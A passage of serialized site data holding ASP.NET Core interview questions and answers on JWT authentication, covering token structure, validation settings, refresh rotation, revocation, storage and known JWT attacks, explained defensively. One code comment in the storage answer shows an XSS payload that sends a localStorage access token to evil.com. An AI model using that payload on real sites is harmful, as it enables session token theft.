return;\n        }\n\n        await _default.HandleAsync(next, context, policy, authorizeResult);\n    }\n}\n\n\u002F\u002F Register (replaces the default handler):\nbuilder.Services.AddSingleton\u003CIAuthorizationMiddlewareResultHandler,\n    CustomAuthorizationResultHandler>();\n\n\u002F\u002F Option 2 — UseStatusCodePages for simple HTML\u002Ftext responses:\napp.UseStatusCodePages(async ctx =>\n{\n    if (ctx.HttpContext.Response.StatusCode == 403)\n    {\n        ctx.HttpContext.Response.ContentType = \"application\u002Fjson\";\n        await ctx.HttpContext.Response.WriteAsJsonAsync(new { error = \"Access denied\" });\n    }\n});\n\n\u002F\u002F Option 3 — for cookie auth: customize the redirect rather than status code:\n.AddCookie(options =>\n{\n    options.Events.OnRedirectToAccessDenied = ctx =>\n    {\n        ctx.Response.StatusCode  = 403;\n        ctx.Response.ContentType = \"application\u002Fjson\";\n        return ctx.Response.WriteAsJsonAsync(new { error = \"Forbidden\" });\n    };\n});\n```\n\n**Rule of thumb:** Implement `IAuthorizationMiddlewareResultHandler` for API projects\nthat need RFC 7807 Problem Details on every auth failure. For cookie-based web apps,\noverride the `OnRedirectToAccessDenied` event to avoid a redirect loop on API calls.\n",{"description":32},"ASP.NET Core authorization interview questions — policy-based authorization, custom requirements and handlers, resource-based auth, and dynamic policies.","dotnet\u002Fsecurity\u002Fauthorization","poPHLcUwjB4ywKfYyLuq9jnCR6iHgEEXN1QM0X4F8JA",{"id":185,"title":186,"body":187,"description":32,"difficulty":35,"extension":36,"framework":10,"frameworkSlug":8,"meta":191,"navigation":38,"order":192,"path":193,"questions":194,"questionsCount":103,"related":104,"seo":255,"seoDescription":256,"stem":257,"subtopic":258,"topic":19,"topicSlug":21,"updated":108,"__hash__":259},"qa\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens.md","Jwt Tokens",{"type":29,"value":188,"toc":189},[],{"title":32,"searchDepth":33,"depth":33,"links":190},[],{},3,"\u002Fdotnet\u002Fsecurity\u002Fjwt-tokens",[195,199,203,207,211,215,219,223,227,231,235,239,243,247,251],{"id":196,"difficulty":43,"q":197,"a":198},"jwt-structure","What is a JWT and what are its three parts?","A **JSON Web Token (JWT)** is a compact, URL-safe token that carries signed claims.\nIt consists of three Base64URL-encoded JSON objects separated by dots:\n`header.payload.signature`.\n\n```csharp\n\u002F\u002F Example JWT (decoded):\n\u002F\u002F eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9     ← header\n\u002F\u002F .eyJzdWIiOiI0MiIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJleHAiOjE3MTk5MzkyMDB9  ← payload\n\u002F\u002F .SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← signature\n\n\u002F\u002F Header (algorithm + type):\n\u002F\u002F {\n\u002F\u002F \"alg\": \"HS256\",   \u002F\u002F HMAC SHA-256 (symmetric)\n\u002F\u002F \"typ\": \"JWT\"\n\u002F\u002F }\n\n\u002F\u002F Payload (claims):\n\u002F\u002F {\n\u002F\u002F \"sub\":   \"42\",                   \u002F\u002F subject (user ID) — registered claim\n\u002F\u002F \"email\": \"alice@example.com\",    \u002F\u002F private claim\n\u002F\u002F \"role\":  \"Admin\",                \u002F\u002F private claim\n\u002F\u002F \"iss\":   \"https:\u002F\u002Fmyapp.com\",    \u002F\u002F issuer — registered claim\n\u002F\u002F \"aud\":   \"api1\",                 \u002F\u002F audience — registered claim\n\u002F\u002F \"exp\":   1719939200,             \u002F\u002F expiry (Unix timestamp) — registered claim\n\u002F\u002F \"iat\":   1719935600,             \u002F\u002F issued at — registered claim\n\u002F\u002F \"nbf\":   1719935600              \u002F\u002F not before — registered claim\n\u002F\u002F }\n\n\u002F\u002F Signature — protects header + payload from tampering:\n\u002F\u002F HMACSHA256(base64url(header) + \".\" + base64url(payload), secret)\n\n\u002F\u002F Key property: payload is NOT encrypted — only signed.\n\u002F\u002F Anyone can decode the payload; only the key holder can create a valid signature.\n\u002F\u002F → Never put passwords, PII, or secrets in the payload.\n\nusing var handler = new JwtSecurityTokenHandler();\nvar token = handler.ReadJwtToken(jwtString);      \u002F\u002F decode without validation\nvar sub   = token.Claims.First(c => c.Type == \"sub\").Value;\n```\n\n**Rule of thumb:** JWTs are signed, not secret. The signature guarantees integrity —\nnobody can tamper with the payload without invalidating the signature — but the\ncontent is readable by anyone. Encrypt sensitive data before adding it as a claim.\n",{"id":200,"difficulty":43,"q":201,"a":202},"jwt-bearer-setup","How do you configure JWT bearer authentication in ASP.NET Core?","Install `Microsoft.AspNetCore.Authentication.JwtBearer`, call `AddJwtBearer`, and\nset token validation parameters. The middleware reads the `Authorization: Bearer \u003Ctoken>`\nheader on every request.\n\n```csharp\n\u002F\u002F NuGet: Microsoft.AspNetCore.Authentication.JwtBearer\n\nvar jwtSettings = builder.Configuration.GetSection(\"Jwt\");\nvar key         = Encoding.UTF8.GetBytes(jwtSettings[\"Secret\"]!);\n\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        options.TokenValidationParameters = new TokenValidationParameters\n        {\n            \u002F\u002F What to validate:\n            ValidateIssuer           = true,\n            ValidIssuer              = jwtSettings[\"Issuer\"],    \u002F\u002F \"https:\u002F\u002Fmyapp.com\"\n\n            ValidateAudience         = true,\n            ValidAudience            = jwtSettings[\"Audience\"],  \u002F\u002F \"api1\"\n\n            ValidateLifetime         = true,                     \u002F\u002F check exp claim\n            ClockSkew                = TimeSpan.FromSeconds(30), \u002F\u002F tolerance for clock drift\n\n            ValidateIssuerSigningKey = true,\n            IssuerSigningKey         = new SymmetricSecurityKey(key),\n        };\n\n        \u002F\u002F Events (optional) — hook into authentication lifecycle:\n        options.Events = new JwtBearerEvents\n        {\n            OnAuthenticationFailed = ctx =>\n            {\n                \u002F\u002F Log token validation failure (don't expose reason to caller):\n                var logger = ctx.HttpContext.RequestServices\n                    .GetRequiredService\u003CILogger\u003CProgram>>();\n                logger.LogWarning(\"JWT validation failed: {Error}\", ctx.Exception.Message);\n                return Task.CompletedTask;\n            },\n        };\n    });\n\nbuilder.Services.AddAuthorization();\n\nvar app = builder.Build();\napp.UseAuthentication();\napp.UseAuthorization();\n```\n\n**Rule of thumb:** Always validate issuer, audience, lifetime, and the signing key.\nSkipping any of these creates exploitable gaps — especially `ValidateAudience`, which\nprevents tokens issued for one API from being used at another.\n",{"id":204,"difficulty":35,"q":205,"a":206},"generate-jwt","How do you generate a JWT in ASP.NET Core?","Use `JwtSecurityTokenHandler` (from `System.IdentityModel.Tokens.Jwt`) to create\nand sign a token. Return it in the login response; clients include it in subsequent\n`Authorization: Bearer` headers.\n\n```csharp\n\u002F\u002F Token generation service:\npublic class JwtTokenService\n{\n    private readonly IConfiguration _config;\n\n    public JwtTokenService(IConfiguration config) => _config = config;\n\n    public string GenerateAccessToken(User user)\n    {\n        var jwtSettings = _config.GetSection(\"Jwt\");\n        var key         = new SymmetricSecurityKey(\n            Encoding.UTF8.GetBytes(jwtSettings[\"Secret\"]!));\n\n        var claims = new List\u003CClaim>\n        {\n            new Claim(JwtRegisteredClaimNames.Sub,   user.Id.ToString()),\n            new Claim(JwtRegisteredClaimNames.Email, user.Email),\n            new Claim(JwtRegisteredClaimNames.Jti,   Guid.NewGuid().ToString()), \u002F\u002F unique token ID\n            new Claim(ClaimTypes.Role,               user.Role),\n        };\n\n        var token = new JwtSecurityToken(\n            issuer:             jwtSettings[\"Issuer\"],\n            audience:           jwtSettings[\"Audience\"],\n            claims:             claims,\n            notBefore:          DateTime.UtcNow,\n            expires:            DateTime.UtcNow.AddMinutes(\n                                    int.Parse(jwtSettings[\"ExpiryMinutes\"]!)),\n            signingCredentials: new SigningCredentials(key, SecurityAlgorithms.HmacSha256));\n\n        return new JwtSecurityTokenHandler().WriteToken(token);\n    }\n}\n\n\u002F\u002F Login endpoint — validate credentials, return token:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken = _tokenService.GenerateAccessToken(user);\n    return Ok(new { accessToken, expiresIn = 900 }); \u002F\u002F 15 min\n}\n```\n\n**Rule of thumb:** Always include `jti` (JWT ID) for auditability and revocation\nsupport. Keep access token lifetime short (≤ 15 min); long-lived tokens become\na liability if leaked.\n",{"id":208,"difficulty":35,"q":209,"a":210},"token-validation-params","What are the critical TokenValidationParameters settings and what does each prevent?","`TokenValidationParameters` controls which claims are checked when the middleware\nvalidates an incoming token. Missing validations are exploitable attack vectors.\n\n```csharp\nnew TokenValidationParameters\n{\n    \u002F\u002F ValidateIssuer — prevents tokens from untrusted issuers:\n    \u002F\u002F Attack: attacker generates a valid HS256 token with alg=none or different issuer\n    ValidateIssuer = true,\n    ValidIssuer    = \"https:\u002F\u002Fauth.myapp.com\",\n\n    \u002F\u002F ValidateAudience — prevents token replay across APIs:\n    \u002F\u002F Attack: token issued for api1 reused against api2\n    ValidateAudience = true,\n    ValidAudience    = \"api1\",\n\n    \u002F\u002F ValidateLifetime — prevents use of expired tokens:\n    ValidateLifetime = true,\n    ClockSkew        = TimeSpan.FromSeconds(30), \u002F\u002F allow 30s clock drift between servers\n\n    \u002F\u002F ValidateIssuerSigningKey — prevents forged tokens:\n    ValidateIssuerSigningKey = true,\n    IssuerSigningKey         = new SymmetricSecurityKey(key),\n\n    \u002F\u002F NameClaimType — controls what User.Identity.Name returns:\n    NameClaimType   = JwtRegisteredClaimNames.Sub,  \u002F\u002F or ClaimTypes.Name\n\n    \u002F\u002F RoleClaimType — controls User.IsInRole():\n    RoleClaimType   = ClaimTypes.Role,\n\n    \u002F\u002F RequireExpirationTime — reject tokens without exp:\n    RequireExpirationTime = true,\n\n    \u002F\u002F RequireSignedTokens — reject unsigned (alg=none) tokens:\n    RequireSignedTokens = true, \u002F\u002F true by default — never set to false\n}\n```\n\n**Rule of thumb:** Never disable `ValidateAudience`, `ValidateLifetime`, or\n`RequireSignedTokens`. The `alg=none` vulnerability (accepting unsigned tokens)\nis a CRITICAL CVE pattern — `RequireSignedTokens` prevents it.\n",{"id":212,"difficulty":35,"q":213,"a":214},"refresh-tokens","What are refresh tokens and how do you implement a refresh flow in ASP.NET Core?","**Refresh tokens** are long-lived, opaque credentials stored server-side. When the\nshort-lived access token expires, the client exchanges the refresh token for a new\naccess token — without re-entering credentials.\n\n```csharp\n\u002F\u002F Token pair returned at login:\npublic record TokenResponse(string AccessToken, string RefreshToken, int ExpiresIn);\n\n\u002F\u002F Login endpoint — return both tokens:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken  = _tokenService.GenerateAccessToken(user);\n    var refreshToken = await _refreshTokenStore.CreateAsync(user.Id);\n    \u002F\u002F refreshToken is a random opaque string stored in DB with expiry (e.g., 30 days)\n\n    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));\n}\n\n\u002F\u002F Refresh endpoint — exchange refresh token for new access token:\n[HttpPost(\"refresh\")]\npublic async Task\u003CIActionResult> Refresh([FromBody] RefreshDto dto)\n{\n    var stored = await _refreshTokenStore.GetAsync(dto.RefreshToken);\n    if (stored is null || stored.IsRevoked || stored.ExpiresAt \u003C DateTime.UtcNow)\n        return Unauthorized(\"Invalid or expired refresh token\");\n\n    \u002F\u002F Rotate — invalidate old refresh token, issue new one:\n    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);\n\n    var user         = await _userService.GetByIdAsync(stored.UserId);\n    var accessToken  = _tokenService.GenerateAccessToken(user!);\n    var refreshToken = await _refreshTokenStore.CreateAsync(user!.Id);\n\n    return Ok(new TokenResponse(accessToken, refreshToken, ExpiresIn: 900));\n}\n\n\u002F\u002F Revoke all tokens on logout:\n[HttpPost(\"logout\")]\n[Authorize]\npublic async Task\u003CIActionResult> Logout([FromBody] RevokeDto dto)\n{\n    await _refreshTokenStore.RevokeAsync(dto.RefreshToken);\n    return NoContent();\n}\n```\n\n**Rule of thumb:** Always rotate refresh tokens on each use — issue a new one\nand invalidate the old one. This detects token theft: if a stolen token is used\nbefore the legitimate client, the legitimate client's next request will fail.\n",{"id":216,"difficulty":35,"q":217,"a":218},"symmetric-vs-asymmetric","What is the difference between symmetric and asymmetric JWT signing?","**Symmetric signing** (HMAC) uses one shared secret for both signing and verification.\n**Asymmetric signing** (RSA\u002FECDSA) uses a private key to sign and a public key to\nverify — the public key can be shared safely.\n\n```csharp\n\u002F\u002F Symmetric — HS256 \u002F HS384 \u002F HS512:\n\u002F\u002F Same secret used to sign and verify — both the token issuer and all resource servers\n\u002F\u002F must have the secret. If any server is compromised, all tokens are at risk.\nvar symmetricKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));\nvar signingCreds = new SigningCredentials(symmetricKey, SecurityAlgorithms.HmacSha256);\n\n\u002F\u002F Validate with the same key:\noptions.IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(secret));\n\n\u002F\u002F Asymmetric — RS256 \u002F RS384 \u002F RS512 \u002F ES256:\n\u002F\u002F Private key lives only on the auth server.\n\u002F\u002F Public key is distributed to resource servers (or served via JWKS endpoint).\nvar rsa        = RSA.Create();\nrsa.ImportFromPem(File.ReadAllText(\"private.pem\"));\nvar privateKey = new RsaSecurityKey(rsa) { KeyId = \"key-2024-01\" };\nvar signingCreds = new SigningCredentials(privateKey, SecurityAlgorithms.RsaSha256);\n\n\u002F\u002F Resource server validates with public key only:\nvar rsaPublic = RSA.Create();\nrsaPublic.ImportFromPem(File.ReadAllText(\"public.pem\"));\noptions.IssuerSigningKey = new RsaSecurityKey(rsaPublic);\n\n\u002F\u002F JWKS endpoint — automatic public key retrieval (common for identity providers):\noptions.Authority = \"https:\u002F\u002Fauth.myapp.com\"; \u002F\u002F fetches JWKS from \u002F.well-known\u002Fopenid-configuration\n\u002F\u002F No need to configure IssuerSigningKey manually — handler fetches + caches JWKS\n```\n\n**Rule of thumb:** Use symmetric signing (HS256) when one service issues and verifies\ntokens (monolith, single API). Use asymmetric signing (RS256\u002FES256) in microservices\nor multi-tenant scenarios where multiple services verify tokens but only one issues them.\n",{"id":220,"difficulty":35,"q":221,"a":222},"jwt-claims-mapping","How does ASP.NET Core map JWT claims to ClaimsPrincipal, and what common gotchas exist?","The JWT bearer middleware parses the token payload and creates a `ClaimsPrincipal`.\nIt maps standard JWT claim names to WS-Federation long-form `ClaimTypes.*` URIs by\ndefault — which can cause surprising name mismatches.\n\n```csharp\n\u002F\u002F Default mapping — JWT claim \"sub\" becomes:\n\u002F\u002F ClaimTypes.NameIdentifier = \"http:\u002F\u002Fschemas.xmlsoap.org\u002Fws\u002F2005\u002F05\u002Fidentity\u002Fclaims\u002Fnameidentifier\"\n\u002F\u002F JWT \"email\" → ClaimTypes.Email (long URI)\n\u002F\u002F JWT \"role\"  → ClaimTypes.Role  (long URI) — but only if the claim is named \"role\"\n\n\u002F\u002F This default mapping causes confusion. Disable it to use JWT claim names directly:\nJwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear(); \u002F\u002F clear global mapping\n\u002F\u002F Now \"sub\" stays \"sub\", \"email\" stays \"email\"\n\n\u002F\u002F Or configure per-handler:\noptions.MapInboundClaims = false; \u002F\u002F .NET 6+ — disables the long URI mapping\n\n\u002F\u002F After clearing, read claims by their JWT name:\nvar sub   = User.FindFirstValue(\"sub\");\nvar email = User.FindFirstValue(\"email\");\n\n\u002F\u002F Custom mapping — map specific JWT names to ClaimTypes:\noptions.TokenValidationParameters.NameClaimType = JwtRegisteredClaimNames.Sub;\noptions.TokenValidationParameters.RoleClaimType = \"role\"; \u002F\u002F or \"roles\"\n\n\u002F\u002F Role arrays in the token payload — the handler splits them automatically:\n\u002F\u002F JWT payload: { \"role\": [\"Admin\", \"Editor\"] }\n\u002F\u002F Results in two separate ClaimTypes.Role claims in ClaimsPrincipal\n\n\u002F\u002F Always test claim reading after changing the mapping:\nvar roles = User.FindAll(ClaimTypes.Role).Select(c => c.Value).ToList();\n```\n\n**Rule of thumb:** Call `JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear()`\nor set `MapInboundClaims = false` when you control both the token issuer and the\nAPI. This keeps claim names predictable and matching what's in the token.\n",{"id":224,"difficulty":64,"q":225,"a":226},"jwt-vulnerabilities","What are the most common JWT vulnerabilities and how do you prevent them in ASP.NET Core?","The top JWT vulnerabilities are algorithm confusion, token replay, missing validation,\nand weak secrets. ASP.NET Core's defaults prevent most of these, but misconfiguration\nundoes the protection.\n\n```csharp\n\u002F\u002F 1. alg=none attack — token with no signature accepted:\n\u002F\u002F Prevention: RequireSignedTokens = true (default)\noptions.TokenValidationParameters.RequireSignedTokens = true; \u002F\u002F never set to false\n\n\u002F\u002F 2. Algorithm confusion (RS256 → HS256 swap):\n\u002F\u002F Attacker uses the server's RSA public key as the HMAC secret.\n\u002F\u002F Prevention: explicitly specify accepted algorithms:\noptions.TokenValidationParameters.ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 };\n\u002F\u002F Or use ValidateIssuerSigningKey — asymmetric key rejects HS256 automatically.\n\n\u002F\u002F 3. Missing audience validation — token for api1 replayed at api2:\noptions.TokenValidationParameters.ValidateAudience = true;\noptions.TokenValidationParameters.ValidAudience    = \"api1\"; \u002F\u002F never skip this\n\n\u002F\u002F 4. Weak secrets — HS256 with short\u002Fguessable key:\n\u002F\u002F Attacker can brute-force signatures offline against any captured token.\n\u002F\u002F Prevention: use ≥ 256-bit (32-byte) cryptographically random secret:\nvar secret = Convert.ToBase64String(RandomNumberGenerator.GetBytes(32));\n\u002F\u002F Store in Azure Key Vault \u002F AWS Secrets Manager, not appsettings.json.\n\n\u002F\u002F 5. Sensitive data in payload — payload is base64, not encrypted:\n\u002F\u002F Never include passwords, SSNs, credit card numbers in claims.\n\u002F\u002F Include only identity\u002Fauthorization data (sub, email, roles).\n\n\u002F\u002F 6. Long-lived access tokens — stolen tokens stay valid:\n\u002F\u002F Prevention: short expiry (≤ 15 min) + refresh token rotation.\nexpires: DateTime.UtcNow.AddMinutes(15) \u002F\u002F not AddDays(30)\n\n\u002F\u002F 7. Insecure storage on the client (localStorage vs HttpOnly cookie):\n\u002F\u002F localStorage is readable by JavaScript → XSS steals the token.\n\u002F\u002F HttpOnly cookie is not accessible to JS (but requires CSRF protection).\n\u002F\u002F For SPAs: prefer HttpOnly, SameSite=Strict cookies for refresh tokens.\n```\n\n**Rule of thumb:** Treat a JWT as a bearer credential — whoever has it can use it.\nKeep access tokens short-lived, use `RequireSignedTokens`, validate audience, and store\nsecrets in a vault. Reject tokens signed with unexpected algorithms.\n",{"id":228,"difficulty":35,"q":229,"a":230},"jwt-expiry-handling","How do you handle JWT expiration — on the server and on the client?","The server rejects expired tokens automatically via `ValidateLifetime = true`. On the\nclient, detect the 401 response and use the refresh token to get a new access token\nbefore retrying.\n\n```csharp\n\u002F\u002F Server — automatic expiry check via TokenValidationParameters:\nValidateLifetime = true,\nClockSkew        = TimeSpan.FromSeconds(30), \u002F\u002F 30s tolerance for server clock drift\n\n\u002F\u002F When a token is expired, the middleware returns 401 with:\n\u002F\u002F WWW-Authenticate: Bearer error=\"invalid_token\", error_description=\"The token is expired\"\n\n\u002F\u002F Server — JwtBearerEvents to customize the 401 response:\noptions.Events = new JwtBearerEvents\n{\n    OnChallenge = ctx =>\n    {\n        \u002F\u002F Suppress default redirect; return structured JSON:\n        ctx.HandleResponse();\n        ctx.Response.StatusCode  = 401;\n        ctx.Response.ContentType = \"application\u002Fjson\";\n        return ctx.Response.WriteAsJsonAsync(new\n        {\n            error   = \"token_expired\",\n            message = \"Access token has expired. Use the refresh token to get a new one.\",\n        });\n    },\n};\n\n\u002F\u002F How to check expiry before sending (avoids a round-trip):\nvar handler   = new JwtSecurityTokenHandler();\nvar jwtToken  = handler.ReadJwtToken(accessToken);\nvar expiresAt = jwtToken.ValidTo; \u002F\u002F UTC\nif (expiresAt \u003C DateTime.UtcNow.AddSeconds(30))\n{\n    \u002F\u002F Proactively refresh before the token expires:\n    accessToken = await _authClient.RefreshAsync(refreshToken);\n}\n```\n\n**Rule of thumb:** Add 30 seconds of clock skew on the server to absorb time\ndifferences between machines. On the client, refresh proactively 30 seconds before\nexpiry rather than waiting for a 401 — it avoids a failed request + retry round-trip.\n",{"id":232,"difficulty":64,"q":233,"a":234},"jwt-revocation","JWTs are stateless — how do you revoke one before it expires?","Because JWTs are self-contained and the server keeps no state, revoking an individual\ntoken requires either a **blocklist** (server-side store) or shifting to short-lived\ntokens plus refresh token rotation.\n\n```csharp\n\u002F\u002F Approach 1 — server-side blocklist (sacrifices statelessness):\npublic class TokenBlocklist\n{\n    private readonly IDistributedCache _cache;\n\n    \u002F\u002F Add a token's JTI claim to the blocklist on logout\u002Frevoke:\n    public async Task RevokeAsync(string jti, DateTimeOffset expiry)\n    {\n        await _cache.SetStringAsync(\n            key:     $\"revoked:{jti}\",\n            value:   \"1\",\n            options: new DistributedCacheEntryOptions\n            {\n                AbsoluteExpiration = expiry, \u002F\u002F entry auto-expires when token would have anyway\n            });\n    }\n\n    public async Task\u003Cbool> IsRevokedAsync(string jti)\n        => await _cache.GetStringAsync($\"revoked:{jti}\") is not null;\n}\n\n\u002F\u002F Check blocklist in JwtBearerEvents:\noptions.Events = new JwtBearerEvents\n{\n    OnTokenValidated = async ctx =>\n    {\n        var jti      = ctx.Principal!.FindFirstValue(JwtRegisteredClaimNames.Jti);\n        var blocklist = ctx.HttpContext.RequestServices.GetRequiredService\u003CTokenBlocklist>();\n        if (jti is not null && await blocklist.IsRevokedAsync(jti))\n            ctx.Fail(\"Token has been revoked\");\n    },\n};\n\n\u002F\u002F Approach 2 — short-lived access tokens + refresh token rotation:\n\u002F\u002F Access token: 5–15 min (no need to revoke; just wait it out)\n\u002F\u002F On logout: revoke only the refresh token in the DB\n\u002F\u002F Stolen access token is usable for ≤ 15 min — acceptable for most applications\n\n\u002F\u002F Approach 3 — reference tokens (opaque):\n\u002F\u002F Issue an opaque token ID; validate against a DB on every request.\n\u002F\u002F Full revocation, but adds a DB lookup per request.\n```\n\n**Rule of thumb:** For most apps, short access tokens (≤ 15 min) + refresh token\nrevocation is the right balance. Implement a blocklist only if you need true immediate\nrevocation (e.g., after a compromised credential event).\n",{"id":236,"difficulty":35,"q":237,"a":238},"jwt-storage","Where should JWTs be stored on the client, and what are the security trade-offs?","Client-side JWT storage has two main options: **`localStorage`\u002F`sessionStorage`** and\n**`HttpOnly` cookies**. Each has distinct security implications.\n\n```csharp\n\u002F\u002F Option 1 — localStorage \u002F sessionStorage (SPA default):\n\u002F\u002F Pros: simple, no CSRF risk, works across tabs (localStorage)\n\u002F\u002F Cons: readable by ANY JavaScript on the page → XSS attack steals the token\n\u002F\u002F \u003Cscript>fetch('https:\u002F\u002Fevil.com?t=' + localStorage.getItem('access_token'))\u003C\u002Fscript>\n\u002F\u002F If choosing this: implement strict Content-Security-Policy, validate all input\n\n\u002F\u002F Option 2 — HttpOnly cookie (backend sets the cookie):\n\u002F\u002F Return access\u002Frefresh tokens in HttpOnly, Secure, SameSite=Strict cookies:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user    = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    var accessToken  = _tokenService.GenerateAccessToken(user);\n    var refreshToken = await _refreshStore.CreateAsync(user.Id);\n\n    \u002F\u002F HttpOnly — JS cannot read this cookie:\n    Response.Cookies.Append(\"access_token\", accessToken, new CookieOptions\n    {\n        HttpOnly  = true,\n        Secure    = true,         \u002F\u002F HTTPS only\n        SameSite  = SameSiteMode.Strict,\n        Expires   = DateTimeOffset.UtcNow.AddMinutes(15),\n    });\n    Response.Cookies.Append(\"refresh_token\", refreshToken, new CookieOptions\n    {\n        HttpOnly  = true,\n        Secure    = true,\n        SameSite  = SameSiteMode.Strict,\n        Expires   = DateTimeOffset.UtcNow.AddDays(30),\n        Path      = \"\u002Fapi\u002Fauth\u002Frefresh\", \u002F\u002F limit cookie scope to refresh endpoint\n    });\n\n    return Ok(new { message = \"Logged in\" });\n}\n\n\u002F\u002F Pros: immune to XSS token theft\n\u002F\u002F Cons: CSRF attack possible — mitigate with SameSite=Strict + CSRF tokens for mutations\n\u002F\u002F JWT bearer middleware can read from cookies:\noptions.Events = new JwtBearerEvents\n{\n    OnMessageReceived = ctx =>\n    {\n        ctx.Token = ctx.Request.Cookies[\"access_token\"];\n        return Task.CompletedTask;\n    },\n};\n```\n\n**Rule of thumb:** Store JWTs in `HttpOnly, Secure, SameSite=Strict` cookies to\ndefend against XSS. Use `localStorage` only if the app has strong CSP and you\naccept the XSS risk. Never store tokens in `sessionStorage` across multiple tabs.\n",{"id":240,"difficulty":64,"q":241,"a":242},"jwks-endpoint","What is a JWKS endpoint and how does ASP.NET Core use it for token validation?","A **JSON Web Key Set (JWKS)** endpoint exposes the public keys of an identity provider\nas a JSON document. ASP.NET Core's JWT bearer handler fetches and caches these keys\nautomatically, so you don't need to ship the public key with your application.\n\n```csharp\n\u002F\u002F JWKS document served at \u002F.well-known\u002Fjwks.json:\n\u002F\u002F {\n\u002F\u002F   \"keys\": [\n\u002F\u002F     {\n\u002F\u002F       \"kty\": \"RSA\",\n\u002F\u002F       \"kid\": \"key-2024-01\",     \u002F\u002F key ID — matches the JWT header \"kid\"\n\u002F\u002F       \"n\":   \"\u003Cmodulus>\",\n\u002F\u002F       \"e\":   \"AQAB\",\n\u002F\u002F       \"alg\": \"RS256\",\n\u002F\u002F       \"use\": \"sig\"\n\u002F\u002F     }\n\u002F\u002F   ]\n\u002F\u002F }\n\n\u002F\u002F ASP.NET Core — configure via Authority (OIDC discovery document):\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        \u002F\u002F Handler fetches \u002F.well-known\u002Fopenid-configuration, then the jwks_uri from it:\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"api1\";\n        \u002F\u002F No need to configure IssuerSigningKey — fetched and cached automatically.\n        \u002F\u002F Keys are refreshed when a token arrives with an unknown \"kid\" claim.\n    });\n\n\u002F\u002F Manual JWKS — when you control the identity provider and serve keys directly:\nbuilder.Services\n    .AddAuthentication(JwtBearerDefaults.AuthenticationScheme)\n    .AddJwtBearer(options =>\n    {\n        options.TokenValidationParameters = new TokenValidationParameters\n        {\n            ValidateIssuerSigningKey = true,\n            \u002F\u002F The handler fetches and parses this JWKS endpoint:\n            IssuerSigningKeyResolver = (token, securityToken, kid, parameters) =>\n            {\n                \u002F\u002F Custom resolver — fetch keys from your own endpoint:\n                var client = new HttpClient();\n                var response = client.GetStringAsync(\"https:\u002F\u002Fauth.myapp.com\u002F.well-known\u002Fjwks.json\").Result;\n                var keys = new JsonWebKeySet(response);\n                return keys.GetSigningKeys();\n            },\n            ValidateIssuer   = true,\n            ValidIssuer      = \"https:\u002F\u002Fauth.myapp.com\",\n            ValidateAudience = true,\n            ValidAudience    = \"api1\",\n        };\n    });\n\n\u002F\u002F Key rotation — the \"kid\" header in each JWT tells the handler which key to use.\n\u002F\u002F When a new kid is seen, the handler re-fetches the JWKS to pick up the new key.\n```\n\n**Rule of thumb:** Prefer `Authority` over manual `IssuerSigningKey` when using a\nstandards-compliant identity provider (Auth0, Okta, Azure AD, Keycloak). The handler\nmanages key caching and rotation automatically, reducing operational overhead.\n",{"id":244,"difficulty":35,"q":245,"a":246},"jwt-audience-multi","How do you validate a JWT against multiple valid audiences?","Set `ValidAudiences` (plural) in `TokenValidationParameters` to accept tokens that\ncarry any of the listed audience values. The token's `aud` claim must match at least\none entry.\n\n```csharp\n\u002F\u002F Single audience — most common, most secure:\noptions.TokenValidationParameters = new TokenValidationParameters\n{\n    ValidateAudience = true,\n    ValidAudience    = \"api1\",\n};\n\n\u002F\u002F Multiple valid audiences — accept tokens for api1 OR api2:\noptions.TokenValidationParameters = new TokenValidationParameters\n{\n    ValidateAudience = true,\n    ValidAudiences   = new[] { \"api1\", \"api2\", \"https:\u002F\u002Fmyapp.com\u002Fapi\" },\n    \u002F\u002F The token's aud claim (string or array) must contain at least one of these.\n};\n\n\u002F\u002F Note: the JWT spec allows aud to be a string or a JSON array:\n\u002F\u002F \"aud\": \"api1\"                    \u002F\u002F single audience\n\u002F\u002F \"aud\": [\"api1\", \"api2\"]          \u002F\u002F multiple — token is valid for both\n\u002F\u002F ASP.NET Core handles both forms automatically.\n\n\u002F\u002F Per-endpoint scheme with a different audience — use separate schemes:\nbuilder.Services\n    .AddAuthentication()\n    .AddJwtBearer(\"InternalApi\", options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"internal-api\";\n    })\n    .AddJwtBearer(\"ExternalApi\", options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.myapp.com\";\n        options.Audience  = \"external-api\";\n    });\n\n\u002F\u002F Apply a specific scheme to an endpoint:\n[Authorize(AuthenticationSchemes = \"InternalApi\")]\n[HttpGet(\"internal\u002Freport\")]\npublic IActionResult InternalReport() => Ok();\n\n\u002F\u002F Warning: never set ValidateAudience = false in production —\n\u002F\u002F it allows tokens issued for any audience to access your API.\n```\n\n**Rule of thumb:** Keep the audience list as narrow as possible — ideally one value per\nAPI. If you need to accept tokens from multiple issuers or audiences, use separate\nnamed schemes with distinct configurations rather than widening a single 